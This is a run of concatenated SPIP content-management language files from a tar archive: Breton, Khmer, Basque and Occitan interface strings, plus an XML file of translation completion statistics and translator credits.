'utf8_convert_erreur_orig' => 'Fazi : n’eo ket skoret ar strobad arouezennoù @charset@',
'utf8_convert_termine' => 'Echu eo !',
'utf8_convert_timeout' => '<b>Pouezus :</b> ma c’hoarvez un <i>timeout</i> gant ar servijer, adkargit ar bajenn betek ma tiskouezo « echu ».',
'utf8_convert_verifier' => 'Bremañ e rankit goullonderiñ ar grubuilh ha gwiriañ eo mat pep tra war lodenn foran al lec’hienn. Ma c’hoarvez ur gudenn vras, ez eo bet miret ho roadoù (er stumm SQL) er c’havlec’h @rep@.',
'utf8_convertir_votre_site' => 'Amdreiñ ho lec’hienn davet uft-8',
// V
'version' => 'Stumm :'
);
?>
public_km.php 0000666 00000014511 15252547432 0007241 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=km
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'ទំព័រដើម នៃសៃថ៍', # MODIF
'articles' => 'អត្ថបទ',
'articles_auteur' => 'អត្ថបទ របស់អ្នកនិពន្ធនេះ',
'articles_populaires' => 'អត្ថបទ ប្រជាប្រិយបំផុត',
'articles_rubrique' => 'អត្ថបទ នៃផ្នែកនេះ',
'aucun_article' => 'គ្មានអត្ថបទ នៅអាសយដ្ឋាននេះ',
'aucun_auteur' => 'គ្មានអ្នកនិពន្ធ នៅអាសយដ្ឋាននេះ',
'aucun_site' => 'គ្មានសៃថ៍ នៅ អាសយដ្ឋាននេះ',
'aucune_breve' => 'គ្មានពត៌មានសង្ខេប នៅ អាសយដ្ឋាននេះ',
'aucune_rubrique' => 'គ្មានផ្នែក នៅ អាសយដ្ឋាននេះ',
'autres' => 'ដទៃ',
'autres_breves' => 'ពត៌មានសង្ខេប ដទៃ',
'autres_groupes_mots_clefs' => 'ក្រុមដទៃ នៃពាក្យគន្លឹះ',
'autres_sites' => 'សៃថ៍ ដទៃ',
// B
'bonjour' => 'សួស្ដី',
// C
'commenter_site' => 'ដាក់វិចារ សៃថ៍នេះ',
'copie_document_impossible' => 'គ្មានអាច ចំលងឯកសារ',
// D
'date' => 'ថ្ងៃខែឆ្នាំ',
'dernier_ajout' => 'ការបន្ថែម ចុងក្រោយ',
'dernieres_breves' => 'ពត៌មានសង្ខេប ចុងក្រោយ',
'derniers_articles' => 'អត្ថបទ ចុងក្រោយ',
'derniers_commentaires' => 'វិចារ ចុងក្រោយ',
'derniers_messages_forum' => 'វិចារថ្មីៗ ត្រូវបានផ្សព្វផ្សាយ ក្នុងវេទិកា',
// E
'edition_mode_texte' => 'កំណែប្រែ ជាទំរង់អត្ថបទសុទ្ធ',
'en_reponse' => 'ដោយឆ្លើយ ទៅ ៖',
'en_resume' => 'ជាសង្ខេប',
'envoyer_message' => 'ផ្ញើ មួយសារ',
'espace_prive' => 'ទីឯកជន',
// F
'formats_acceptes' => 'ទ្រង់ទ្រាយ ដែលព្រមទទួល៖ @formats@។',
// H
'hierarchie_site' => 'ថានានុក្រម នៃសៃថ៍',
// J
'jours' => 'ថ្ងៃ',
// L
'lien_connecter' => 'ពិនិត្យចូល',
// M
'meme_auteur' => 'ពីអ្នកនិពន្ធដដែល',
'meme_rubrique' => 'ក្នុងផ្នែកដដែល',
'memes_auteurs' => 'អ្នកនិពន្ធដដែល',
'message' => 'សារ',
'messages_forum' => 'សារវេទិកា', # MODIF
'messages_recents' => 'សារវេទិកា ថ្មីៗ',
'mots_clefs' => 'ពាក្យគន្លឹះ',
'mots_clefs_meme_groupe' => 'ពាក្យគន្លឹះ ក្នុងក្រុមដដែល',
// N
'navigation' => 'ការត្រាច់រក',
'nom' => 'ឈ្មោះ',
'nouveautes' => 'របស់ថ្មី',
'nouveautes_web' => 'របស់ថ្មី លើអិនរើណែត',
'nouveaux_articles' => 'អត្ថបទថ្មី',
'nouvelles_breves' => 'ពត៌មានសង្ខេបថ្មី',
// P
'page_precedente' => 'ទំព័រមុន',
'page_suivante' => 'ទំព័របន្ទាប់',
'par_auteur' => 'ដោយ',
'participer_site' => 'អ្នកអាចចូលរួម ទៅជីវភាព នៃសៃថ៍នេះ និងស្នើអត្ថបទផ្ទាល់ របស់អ្នក ដោយចុះឈ្មោះខាងក្រោម។ អ្នកនឹងទទួលបានភ្លាម មួយអ៊ីមែវល៍ បង្ហាញអ្នក លេខកូដចូលទៅ វាលឯកជន នៃសៃថ៍។',
'plan_site' => 'ផែនទី នៃសៃថ៍',
'popularite' => 'ភាពប្រជាប្រិយ',
'poster_message' => 'ដាក់ប្រកាស មួយសារ',
'proposer_site' => 'អ្នកអាច ស្នើមួយសៃថ៍ ត្រូវបន្ថែម ក្នុងផ្នែកនេះ ៖',
// R
'repondre_article' => 'ឆ្លើយតប ទៅអត្ថបទនេះ',
'repondre_breve' => 'ឆ្លើយតប ទៅ ពត៌មានសង្ខេបនេះ',
'resultats_recherche' => 'លទ្ធផលស្វែងរក',
'retour_debut_forums' => 'ត្រឡប់ទៅ ទីដំបូងនៃវេទិកា',
'rubrique' => 'មុខអត្ថបទ',
'rubriques' => 'មុខអត្ថបទ នានា',
// S
'signatures_petition' => 'ហត្ថលេខា',
'site_realise_avec_spip' => 'សៃថ៍ ត្រូវបានបង្កើត ជាមួយ SPIP',
'sites_web' => 'វ៉ែបសៃថ៍',
'sous_rubriques' => 'ផ្នែករង',
'spam' => 'វិចារ ឥតបានការ',
'suite' => 'បន្ដ',
'sur_web' => 'លើ អិនរើណែត',
'syndiquer_rubrique' => 'បញ្ជាប់ផ្នែកនេះ',
'syndiquer_site' => 'បញ្ជាប់ សៃថ៍ទាំងមូល',
// T
'texte_lettre_information' => 'នេះជា ព្រឹត្ដិបត្រពត៌មាន នៃសៃថ៍',
'texte_lettre_information_2' => 'លិខិតនេះ សង្ខេប អត្ថបទ និង ពត៌មានខ្លី ដែលត្រូវបានផ្សព្វផ្សាយ ពី', # MODIF
// V
'ver_imprimer' => 'កំណែ ដែលត្រូវបោះពុម្ភ',
'voir_en_ligne' => 'អាន លើអិនរើណែត',
'voir_squelette' => 'មើលគ្រោងឆ្អឹង នៃទំព័រនេះ'
);
?>
public.xml 0000666 00000036454 15252547432 0006575 0 ustar 00 <traduction module="public" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://trac.rezo.net/spip/spip/ecrire/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/public?lang_cible=ar" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/public?lang_cible=ast" total="78" traduits="74" relire="0" modifs="3" nouveaux="1" pourcent="94.87">
<traducteur nom="Xuacu" lien="http://trad.spip.net/auteur/xuacu" />
</langue>
<langue code="ay" url="http://trad.spip.net/tradlang_module/public?lang_cible=ay" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="ber_tam" url="http://trad.spip.net/tradlang_module/public?lang_cible=ber_tam" total="78" traduits="64" relire="0" modifs="4" nouveaux="10" pourcent="82.05">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="bg" url="http://trad.spip.net/tradlang_module/public?lang_cible=bg" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="br" url="http://trad.spip.net/tradlang_module/public?lang_cible=br" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="bs" url="http://trad.spip.net/tradlang_module/public?lang_cible=bs" total="78" traduits="65" relire="0" modifs="3" nouveaux="10" pourcent="83.33">
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/public?lang_cible=ca" total="78" traduits="77" relire="0" modifs="1" nouveaux="0" pourcent="98.72">
<traducteur nom="merce" lien="http://trad.spip.net/auteur/merce" />
</langue>
<langue code="co" url="http://trad.spip.net/tradlang_module/public?lang_cible=co" total="78" traduits="74" relire="0" modifs="3" nouveaux="1" pourcent="94.87">
<traducteur nom="tavamig" lien="http://trad.spip.net/auteur/tavamig" />
</langue>
<langue code="cpf" url="http://trad.spip.net/tradlang_module/public?lang_cible=cpf" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="cpf_hat" url="http://trad.spip.net/tradlang_module/public?lang_cible=cpf_hat" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="cs" url="http://trad.spip.net/tradlang_module/public?lang_cible=cs" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="da" url="http://trad.spip.net/tradlang_module/public?lang_cible=da" total="78" traduits="65" relire="0" modifs="3" nouveaux="10" pourcent="83.33">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/public?lang_cible=de" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="el" url="http://trad.spip.net/tradlang_module/public?lang_cible=el" total="78" traduits="70" relire="0" modifs="4" nouveaux="4" pourcent="89.74">
<traducteur nom="dlatr" lien="http://trad.spip.net/auteur/dlatr" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/public?lang_cible=en" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="sQuonk" lien="http://trad.spip.net/auteur/squonk" />
</langue>
<langue code="en_hx" url="http://trad.spip.net/tradlang_module/public?lang_cible=en_hx" total="78" traduits="64" relire="1" modifs="3" nouveaux="10" pourcent="82.05">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/public?lang_cible=eo" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/public?lang_cible=es" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
<traducteur nom="severo" lien="http://trad.spip.net/auteur/severo" />
</langue>
<langue code="es_co" url="http://trad.spip.net/tradlang_module/public?lang_cible=es_co" total="78" traduits="61" relire="0" modifs="3" nouveaux="14" pourcent="78.21">
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/public?lang_cible=eu" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="otalazt" lien="http://trad.spip.net/auteur/otalazt" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/public?lang_cible=fa" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fi" url="http://trad.spip.net/tradlang_module/public?lang_cible=fi" total="78" traduits="64" relire="0" modifs="4" nouveaux="10" pourcent="82.05">
</langue>
<langue code="fon" url="http://trad.spip.net/tradlang_module/public?lang_cible=fon" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/public?lang_cible=fr" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/public?lang_cible=fr_fem" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="touti" lien="http://trad.spip.net/auteur/touti" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/public?lang_cible=fr_tu" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="orlammd" lien="http://trad.spip.net/auteur/orlammd" />
<traducteur nom="PatV" lien="http://trad.spip.net/auteur/pat" />
<traducteur nom="RealET" lien="http://trad.spip.net/auteur/realet" />
</langue>
<langue code="gl" url="http://trad.spip.net/tradlang_module/public?lang_cible=gl" total="78" traduits="74" relire="0" modifs="3" nouveaux="1" pourcent="94.87">
</langue>
<langue code="hac" url="http://trad.spip.net/tradlang_module/public?lang_cible=hac" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="akomarani" lien="http://trad.spip.net/auteur/akomarani" />
</langue>
<langue code="he" url="http://trad.spip.net/tradlang_module/public?lang_cible=he" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="hr" url="http://trad.spip.net/tradlang_module/public?lang_cible=hr" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="hu" url="http://trad.spip.net/tradlang_module/public?lang_cible=hu" total="78" traduits="65" relire="0" modifs="3" nouveaux="10" pourcent="83.33">
</langue>
<langue code="id" url="http://trad.spip.net/tradlang_module/public?lang_cible=id" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/public?lang_cible=it" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="it_fem" url="http://trad.spip.net/tradlang_module/public?lang_cible=it_fem" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="iu" url="http://trad.spip.net/tradlang_module/public?lang_cible=iu" total="78" traduits="38" relire="23" modifs="3" nouveaux="14" pourcent="48.72">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="ja" url="http://trad.spip.net/tradlang_module/public?lang_cible=ja" total="78" traduits="65" relire="0" modifs="4" nouveaux="9" pourcent="83.33">
</langue>
<langue code="km" url="http://trad.spip.net/tradlang_module/public?lang_cible=km" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="la" url="http://trad.spip.net/tradlang_module/public?lang_cible=la" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/public?lang_cible=lb" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="lt" url="http://trad.spip.net/tradlang_module/public?lang_cible=lt" total="78" traduits="58" relire="0" modifs="2" nouveaux="18" pourcent="74.36">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="my" url="http://trad.spip.net/tradlang_module/public?lang_cible=my" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="ne" url="http://trad.spip.net/tradlang_module/public?lang_cible=ne" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/public?lang_cible=nl" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="gerbrand" lien="http://trad.spip.net/auteur/gerbrand" />
<traducteur nom="mpossoz" lien="http://trad.spip.net/auteur/mpossoz" />
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="oc_auv" url="http://trad.spip.net/tradlang_module/public?lang_cible=oc_auv" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="oc_gsc" url="http://trad.spip.net/tradlang_module/public?lang_cible=oc_gsc" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="oc_lms" url="http://trad.spip.net/tradlang_module/public?lang_cible=oc_lms" total="78" traduits="65" relire="0" modifs="3" nouveaux="10" pourcent="83.33">
</langue>
<langue code="oc_lnc" url="http://trad.spip.net/tradlang_module/public?lang_cible=oc_lnc" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="oc_ni" url="http://trad.spip.net/tradlang_module/public?lang_cible=oc_ni" total="78" traduits="77" relire="0" modifs="1" nouveaux="0" pourcent="98.72">
<traducteur nom="Bastian" lien="http://trad.spip.net/auteur/bastian" />
</langue>
<langue code="oc_ni_la" url="http://trad.spip.net/tradlang_module/public?lang_cible=oc_ni_la" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="oc_prv" url="http://trad.spip.net/tradlang_module/public?lang_cible=oc_prv" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="oc_va" url="http://trad.spip.net/tradlang_module/public?lang_cible=oc_va" total="78" traduits="65" relire="0" modifs="3" nouveaux="10" pourcent="83.33">
</langue>
<langue code="pl" url="http://trad.spip.net/tradlang_module/public?lang_cible=pl" total="78" traduits="75" relire="0" modifs="3" nouveaux="0" pourcent="96.15">
<traducteur nom="Karolina Anna" lien="http://trad.spip.net/auteur/karolina-anna" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/public?lang_cible=pt" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/public?lang_cible=pt_br" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="rn" url="http://trad.spip.net/tradlang_module/public?lang_cible=rn" total="78" traduits="62" relire="0" modifs="4" nouveaux="12" pourcent="79.49">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="ro" url="http://trad.spip.net/tradlang_module/public?lang_cible=ro" total="78" traduits="75" relire="0" modifs="2" nouveaux="1" pourcent="96.15">
<traducteur nom="vmurariu" lien="http://trad.spip.net/auteur/vmurariu" />
</langue>
<langue code="roa" url="http://trad.spip.net/tradlang_module/public?lang_cible=roa" total="78" traduits="66" relire="0" modifs="3" nouveaux="9" pourcent="84.62">
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/public?lang_cible=ru" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sc" url="http://trad.spip.net/tradlang_module/public?lang_cible=sc" total="78" traduits="64" relire="0" modifs="3" nouveaux="11" pourcent="82.05">
</langue>
<langue code="sh_cyrl" url="http://trad.spip.net/tradlang_module/public?lang_cible=sh_cyrl" total="78" traduits="61" relire="0" modifs="3" nouveaux="14" pourcent="78.21">
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/public?lang_cible=sk" total="78" traduits="78" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
<langue code="sl" url="http://trad.spip.net/tradlang_module/public?lang_cible=sl" total="78" traduits="61" relire="0" modifs="3" nouveaux="14" pourcent="78.21">
</langue>
<langue code="sq" url="http://trad.spip.net/tradlang_module/public?lang_cible=sq" total="78" traduits="65" relire="0" modifs="4" nouveaux="9" pourcent="83.33">
</langue>
<langue code="sro" url="http://trad.spip.net/tradlang_module/public?lang_cible=sro" total="78" traduits="65" relire="0" modifs="3" nouveaux="10" pourcent="83.33">
</langue>
<langue code="sv" url="http://trad.spip.net/tradlang_module/public?lang_cible=sv" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="th" url="http://trad.spip.net/tradlang_module/public?lang_cible=th" total="78" traduits="63" relire="0" modifs="3" nouveaux="12" pourcent="80.77">
</langue>
<langue code="tr" url="http://trad.spip.net/tradlang_module/public?lang_cible=tr" total="78" traduits="71" relire="0" modifs="3" nouveaux="4" pourcent="91.03">
</langue>
<langue code="vi" url="http://trad.spip.net/tradlang_module/public?lang_cible=vi" total="78" traduits="65" relire="0" modifs="3" nouveaux="10" pourcent="83.33">
</langue>
<langue code="wa" url="http://trad.spip.net/tradlang_module/public?lang_cible=wa" total="78" traduits="70" relire="0" modifs="3" nouveaux="5" pourcent="89.74">
</langue>
<langue code="zh" url="http://trad.spip.net/tradlang_module/public?lang_cible=zh" total="78" traduits="64" relire="0" modifs="11" nouveaux="3" pourcent="82.05">
<traducteur nom="Chia Kiah Yeen" lien="http://trad.spip.net/auteur/chia-kiah-yeen" />
</langue>
</traduction>
public_eu.php 0000666 00000007327 15252547432 0007252 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Ataria',
'article' => 'Artikulu',
'articles' => 'Artikuluak',
'articles_auteur' => 'Egile honen artikuluak',
'articles_populaires' => 'Artikulu arrakastatsuenak',
'articles_rubrique' => 'Atal honetako artikuluak',
'aucun_article' => 'Ez dago artikulurik helbide honetan',
'aucun_auteur' => 'Ez dago egilerik helbide honetan',
'aucun_site' => 'Ez dago gunerik helbide honetan',
'aucune_breve' => 'Ez dago laburrik helbide honetan',
'aucune_rubrique' => 'Ez dago atalik helbide honetan',
'auteur' => 'Egile',
'autres' => 'Beste',
'autres_breves' => 'Beste berri laburrak',
'autres_groupes_mots_clefs' => 'Beste gako-hitz taldeak',
'autres_sites' => 'Beste guneak',
// B
'bonjour' => 'Agur',
// C
'commenter_site' => 'Guneari buruz iruzkina egin',
'contact' => 'Harremanetarako',
'copie_document_impossible' => 'Dokumentua ezin da kopiatu',
// D
'date' => 'Data',
'dernier_ajout' => 'Azken eranskinak',
'dernieres_breves' => 'Azken berri-laburrak',
'derniers_articles' => 'Azken artikuluak',
'derniers_commentaires' => 'Azken oharrak',
'derniers_messages_forum' => 'Foroetan argitaratu azken berriak',
// E
'edition_mode_texte' => 'Honen edizioa testu formatuan :',
'en_reponse' => 'Erantzunez',
'en_resume' => 'Laburbilduz',
'envoyer_message' => 'Mezua bidali',
'espace_prive' => 'Eremu pribatua',
// F
'formats_acceptes' => 'Onartutako formatuak : @formats@.',
// H
'hierarchie_site' => 'Gunearen hierarkia',
// J
'jours' => 'Egun',
// L
'lien_connecter' => 'Konektatu',
// M
'meme_auteur' => 'Egile beretik',
'meme_rubrique' => 'Atal berean',
'memes_auteurs' => 'Egile beretik',
'message' => 'Mezua',
'messages_forum' => 'Mezuak',
'messages_recents' => 'Foroetako azken mezuak',
'mots_clef' => 'Gako-hitz',
'mots_clefs' => 'Gako-hitz',
'mots_clefs_meme_groupe' => 'Talde bereko gako-hitzak',
// N
'navigation' => 'Arakatu',
'nom' => 'Izena',
'nouveautes' => 'Azken berriak',
'nouveautes_web' => 'Sareko azken berriak',
'nouveaux_articles' => 'Artikulu berriak',
'nouvelles_breves' => 'Azken berri-laburrak',
// P
'page_precedente' => 'Aurreko orrialdea',
'page_suivante' => 'Hurrengo orrialdea',
'par_auteur' => 'Egilea',
'participer_site' => 'Guneko gora-beheretan parte har dezakezu eta zure artikuluak proposatu izena emanez. Segidan, emaila baten bidez, gunearen eremu pribatuan sartzeko zure atzipen-kodeak ukanen dituzu.',
'plan_site' => 'Gunearen mapa',
'popularite' => 'Arrakasta',
'poster_message' => 'Mezua igorri',
'proposer_site' => 'Atal honetan gehitzeko gune bat proposa dezakezu:',
// R
'repondre_article' => 'Artikuluari erantzun',
'repondre_breve' => 'Berri-laburrari erantzun',
'resultats_recherche' => 'Bilaketaren emaitzak',
'retour_debut_forums' => 'Foroen hasierara itzuli',
'rubrique' => 'Atal',
'rubriques' => 'Atalak',
// S
'signatures_petition' => 'Sinadurak',
'site_realise_avec_spip' => 'SPIPekin eraiki gunea',
'sites_web' => 'Webguneak',
'sous_rubriques' => 'Azpi-atalak',
'spam' => 'Spam',
'suite' => 'Segida',
'sur_web' => 'Sarean',
'syndiquer_rubrique' => 'Atal hau sindikatu',
'syndiquer_site' => 'Gune guzia sindikatu',
// T
'texte_lettre_information' => 'Hona gunearen informazio gutuna',
'texte_lettre_information_2' => 'Gutunak ondoko egunetik argitaratu artikulu eta berri-laburrak biltzen ditu',
// V
'ver_imprimer' => 'Inprimatzeko bertsioa',
'voir_en_ligne' => 'Linean ikusi',
'voir_squelette' => 'Orri hunen eskeletoa ikusi'
);
?>
ecrire_oc_lnc.php 0000666 00000162525 15252547432 0010073 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=oc_lnc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Activar l’ajuston',
'aide_non_disponible' => 'Aquela part de l’ajuda en linha es pas encara disponibla per aquesta lenga.',
'auteur' => 'Autor :',
'avis_acces_interdit' => 'Accès proïbit.',
'avis_article_modifie' => 'Atencion, @nom_auteur_modif@ a trabalhat sus aquel article fa @date_diff@ minutas',
'avis_aucun_resultat' => 'Pas cap de resultat.',
'avis_chemin_invalide_1' => 'Lo camin qu’avètz causit',
'avis_chemin_invalide_2' => 'sembla pas valid. Volgatz tornar a la pagina anteriora per verificar las informacions fornidas.',
'avis_connexion_echec_1' => 'La connexion al servidor SQL a abocat.', # MODIF
'avis_connexion_echec_2' => 'Tornatz a la pagina anteriora, e verificatz las informacions qu’avètz fornidas.',
'avis_connexion_echec_3' => '<b>N.B.</b> Sus plan de servidors, devètz <b>demandar</b> qu’activen vòstre accès a la basa SQL abans de la poder utilizar. Se vos podètz pas connectar, verificatz qu’ajatz plan realizat aquel procediment.', # MODIF
'avis_connexion_ldap_echec_1' => 'La connexion al servidor LDAP a abocat.',
'avis_connexion_ldap_echec_2' => 'Tornatz a la pagina anteriora, e verificatz las informacions qu’avètz fornidas. ',
'avis_connexion_ldap_echec_3' => 'Alternativament, utilizetz pas lo supòrt LDAP per importar d’utilizaires.',
'avis_deplacement_rubrique' => 'Atention! Aquela rubrica conten @contient_breves@ brèvas@scb@: se la desplaçatz, voldretz ben oscar aquela casa de confirmacion.',
'avis_destinataire_obligatoire' => 'Devètz indicar un destinatari abans de mandar aquel messatge.',
'avis_erreur_connexion_mysql' => 'Error de connexion SQL',
'avis_erreur_version_archive' => '<b>Atencion! Lo fichièr @archive@ correspond a una autra version d’SPIP que la qu’avètz installada.</b> Anatz cap a de dificultats grandassas: risca de destruccion de vòstra basa de donadas, disfoncionaments divèrses del sit, etc. Validetz pas aquela demanda d’importacion.<p> Per mai d’informacions, vejatz
<a href="@spipnet@">
la documentacion d’SPIP</a>.', # MODIF
'avis_espace_interdit' => '<b>Espaci proïbit</b><div>SPIP es ja installat.</div>',
'avis_lecture_noms_bases_1' => 'Lo programa d’installacion a pas pogut legir los noms de las basas de donadas installadas.',
'avis_lecture_noms_bases_2' => 'Siá cap de basa es pas disponibla, siá la foncion que permet d’entierar las basas es estada desactivada per de rasons de seguretat (aquò’s lo cas en cò de mai d’un albergador).',
'avis_lecture_noms_bases_3' => 'Dins la segonda alternativa, es probable qu’una basa que pòrta lo vòstre nom de login siá utilizabla:',
'avis_non_acces_message' => 'Podètz pas accedir a aquel messatge.',
'avis_non_acces_page' => 'Podètz pas accedir a aquela pagina.',
'avis_operation_echec' => 'L’operacion a abocat.',
'avis_operation_impossible' => 'Operacion impossibla',
'avis_probleme_archive' => 'Problèma de lectura del fichièr @archive@',
'avis_suppression_base' => 'ATENCION, suprimir las donadas es irreversible',
'avis_version_mysql' => 'Vòstre servidor SQL (@version_mysql@) permet pas l’autoreparacion de las taulas de la basa.',
// B
'bouton_acces_ldap' => 'Apondre l’accès a LDAP >>',
'bouton_ajouter' => 'Apondre',
'bouton_ajouter_participant' => 'APONDRE UN PARTICIPANT:',
'bouton_annonce' => 'ANONCI',
'bouton_annuler' => 'Anullar',
'bouton_checkbox_envoi_message' => 'possibilitat de mandar un messatge',
'bouton_checkbox_indiquer_site' => 'indicar obligatòriament un sit web',
'bouton_checkbox_signature_unique_email' => 'sonque una signatura per adreiça e-mail',
'bouton_checkbox_signature_unique_site' => 'sonque una signatura per sit web',
'bouton_demande_publication' => 'Demandar la publicacion d’aqueste article',
'bouton_desactive_tout' => 'Desactivar tot',
'bouton_desinstaller' => 'Desinstallar',
'bouton_effacer_index' => 'Escafar los indèxes',
'bouton_effacer_tout' => 'O escafar tot',
'bouton_envoi_message_02' => 'MANDAR UN MESSATGE',
'bouton_envoyer_message' => 'Messatge definitiu: mandar',
'bouton_modifier' => 'Modificar',
'bouton_pense_bete' => 'MEMENTO (D’USATGE PERSONAL)',
'bouton_radio_activer_messagerie' => 'Activar la messatjariá intèrna',
'bouton_radio_activer_messagerie_interne' => 'Activar la messatjariá intèrna',
'bouton_radio_activer_petition' => 'Activar la peticion',
'bouton_radio_afficher' => 'Afichar',
